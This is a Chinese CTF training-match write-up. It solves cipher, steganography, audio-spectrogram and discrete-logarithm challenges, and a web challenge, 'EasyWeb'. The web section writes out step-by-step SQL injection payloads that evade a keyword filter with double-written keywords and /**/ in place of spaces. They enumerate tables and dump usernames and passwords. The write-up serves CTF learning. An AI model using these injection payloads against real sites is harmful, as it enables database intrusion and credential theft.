2020-07训练赛WP

蔚落 2022-10-09 00:48 122阅读 0赞

## **0×01Pig** ##

下载文件，重命名为1.png，即可打开

![20210622222359305.png][]

是猪圈密码

查表解码

![2021062222174091.png][]

flag\{eatalldaysleepallnight\}

## 0×02 REPLACE ##

![2021062222175854.png][]

一一对应即可

解码为

congratulation flag is qwedcxsa\*rfvyhnbgtjiuno\*mlpw

G和V对应kz，顺序随便试的

flag\{ qwedcxsazrfvyhnbgtjiunokmlpw \}

## **0×03佬涩披** ##

下载下来图片文件

![20210622221836764.png][]

用Stegsolve打开切换通道查看

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70][]

## **0×04Sounds** ##

把音频用aucacity打开，调成频谱图

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 1][]

逆序输出

## **0×05梨SON对数** ##

注释源码如下

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 2][]

这是一道求离散对数的题目，可以使用BSGS算法求返回n的值

找一个在线运算器计算一下

Sage Cell Server在线平台

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 3][]

最后把3373转换为32为MD5值即可

## **0×06EasyWeb** ##

题目提示

过滤了union, select, information和空格

之前一直固执用+，%20等代替空格，一直无果

应该使用/\*\*/来代替

然后字段数也一直报错了

Order by也没有，不解了…

反正爆回显点是

\-1/\*\*/ununionion/\*\*/seselectlect/\*\*/1,2,3\#

注意双写关键字一定要写完啊

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 4][]

\-1/\*\*/ununionion/\*\*/seselectlect/\*\*/database(),2,3\#

![20210622222048704.png][]

库名exercise

再爆表

\-1/\*\*/ununionion/\*\*/seselectlect/\*\*/group\_concat(table\_name)/\*\*/from/\*\*/inforinformationmation\_schema.tables/\*\*/where/\*\*/table\_schema=database(),2,3\#（不可行）

\-1/\*\*/ununionion/\*\*/seselectlect/\*\*/1,2,group\_concat(table\_name)/\*\*/from/\*\*/inforinformationmation\_schema.tables/\*\*/where/\*\*/table\_schema='exercise'\#（可行）

\-1/\*\*/ununionion/\*\*/seselectlect/\*\*/1,2,group\_concat(table\_name)/\*\*/from/\*\*/inforinformationmation\_schema.tables/\*\*/where/\*\*/table\_schema=database()\#（可行）

奇了怪了，非要在3处显示才行

![20210622222105477.png][]

\-1/\*\*/ununionion/\*\*/seselectlect/\*\*/1,2,group\_concat(column\_name)/\*\*/from/\*\*/inforinformationmation\_schema.columns/\*\*/where/\*\*/table\_name=’flag’\#

![20210622222126861.png][]

\-1/\*\*/ununionion/\*\*/seselectlect/\*\*/1,2,group\_concat(column\_name)/\*\*/from/\*\*/inforinformationmation\_schema.columns/\*\*/where/\*\*/table\_name=’flag\_one’\#

空

\-1/\*\*/ununionion/\*\*/seselectlect/\*\*/1,2,group\_concat(column\_name)/\*\*/from/\*\*/inforinformationmation\_schema.columns/\*\*/where/\*\*/table\_name=’users’\#

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 5][]

\-1/\*\*/ununionion/\*\*/seselectlect/\*\*/1,2,username/\*\*/from/\*\*/users\#

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 6][]

\-1/\*\*/ununionion/\*\*/seselectlect/\*\*/1,2,password/\*\*/from/\*\*/users\#

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 7][]

\-1/\*\*/ununionion/\*\*/seselectlect/\*\*/1,2,group\_concat(username)/\*\*/from/\*\*/users\# /爆值

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 8][]

\-1/\*\*/ununionion/\*\*/seselectlect/\*\*/1,2,group\_concat(password)/\*\*/from/\*\*/users\# /爆值

![20210622222305348.png][]

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[20210622222305348.png]: /images/20221005/d016508034924bf79054c580469a09b6.png